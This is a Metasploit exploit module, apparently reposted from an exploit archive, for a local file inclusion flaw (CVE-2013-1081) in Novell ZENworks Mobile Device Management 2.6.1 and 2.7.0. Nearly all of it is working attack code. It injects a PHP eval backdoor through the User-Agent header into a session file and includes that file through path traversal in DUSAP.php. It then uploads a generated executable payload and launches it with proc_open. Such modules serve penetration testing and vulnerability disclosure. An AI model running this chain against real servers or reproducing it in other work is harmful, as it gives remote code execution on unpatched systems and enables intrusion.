Novell ZENworks Mobile Device Managment 2.6.1/2.7.0 – Local File Inclusion (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize super( 'Name' => 'Novell Zenworks Mobile Device Managment Local File Inclusion Vulnerability', 'Description' => %q{ This module attempts to gain remote code execution on a server running Novell Zenworks Mobile Device Management. }, 'Author' => [ 'steponequit', 'Andrea Micalizzi (aka rgod)' #zdi report ], 'Platform' => 'win', 'Targets' => [ [ 'Novell Zenworks Mobile Device Management on Windows', {} ], ], 'DefaultTarget' => 0, 'References' => [ ['CVE', '2013-1081'], ['OSVDB', '91119'], ['URL', 'http://www.novell.com/support/kb/doc.php?id=7011895'] ], 'DisclosureDate' => "Mar 13 2013", 'License' => MSF_LICENSE ) register_options([ OptString.new('TARGETURI', [true, 'Path to the Novell Zenworks MDM install', '/']), OptInt.new('RPORT', [true, "Default remote port", 80]) ], self.class) register_advanced_options([ OptBool.new('SSL', [true, "Negotiate SSL connection", false]) ], self.class) end def peer "#{rhost}:#{rport}" end def get_version version = nil res = send_request_raw({ 'method' => 'GET', 'uri' => target_uri.path }) if (res and res.code == 200 and res.body.to_s.match(/ZENworks Mobile Management User Self-Administration Portal/) != nil) version = res.body.to_s.match(/<p id="version">Version (.*)<\/p>/)[1] end return version end def check v = get_version print_status("#{peer} - Detected version: #{v || 'Unknown'}") if v.nil? return Exploit::CheckCode::Unknown elsif v =~ /^2\.6\.[01]/ or v =~ /^2\.7\.0/ # Conditions based on OSVDB info return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def setup_session() sess = Rex::Text.rand_text_alpha(8) cmd = Rex::Text.rand_text_alpha(8) res = send_request_cgi({ 'agent' => "<?php echo(eval($_GET['#{cmd}'])); ?>", 'method' => "HEAD", 'uri' => normalize_uri("#{target_uri.path}/download.php"), 'headers' => {"Cookie" => "PHPSESSID=#{sess}"}, }) return sess,cmd end def upload_shell(session_id,cmd_var) fname = Rex::Text.rand_text_alpha(8) payload = generate_payload_exe cmd = "$wdir=getcwd().'\\\\..\\\\..\\\\php\\\\temp\\\\';" cmd << "file_put_contents($wdir.'#{fname}.exe'," cmd << "base64_decode(file_get_contents('php://input')));" res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "DUSAP.php"), 'data' => Rex::Text.encode_base64(payload), 'vars_get' => { 'language' => "res/languages/../../../../php/temp/sess_#{session_id}", cmd_var => cmd } }) return fname end def exec_shell(session_id,cmd_var,fname) cmd = "$wdir=getcwd().'\\\\..\\\\..\\\\php\\\\temp\\\\';" cmd << "$cmd=$wdir.'#{fname}';" cmd << "$output=array();" cmd << "$handle=proc_open($cmd,array(1=>array('pipe','w'))," cmd << "$pipes,null,null,array('bypass_shell'=>true));" cmd << "if (is_resource($handle)){fclose($pipes[1]);proc_close($handle);}" res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "DUSAP.php"), 'data' => Rex::Text.encode_base64(payload), 'vars_get' => { 'language' => "res/languages/../../../../php/temp/sess_#{session_id}", cmd_var => cmd } }) end def exploit() begin print_status("#{peer} - Checking application version...") v = get_version if v.nil? print_error("#{peer} - Unable to detect version, abort!") return end print_good("#{peer} - Found Version #{v}") print_status("#{peer} - Setting up poisoned session") session_id,cmd = setup_session() print_status("#{peer} - Uploading payload") fname = upload_shell(session_id,cmd) print_status("#{peer} - Executing payload") exec_shell(session_id,cmd,fname) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout rescue ::Timeout::Error, ::Errno::EPIPE rescue ::OpenSSL::SSL::SSLError => e return if(e.to_s.match(/^SSL_connect /) ) # strange errors / exception if SSL connection aborted end end end |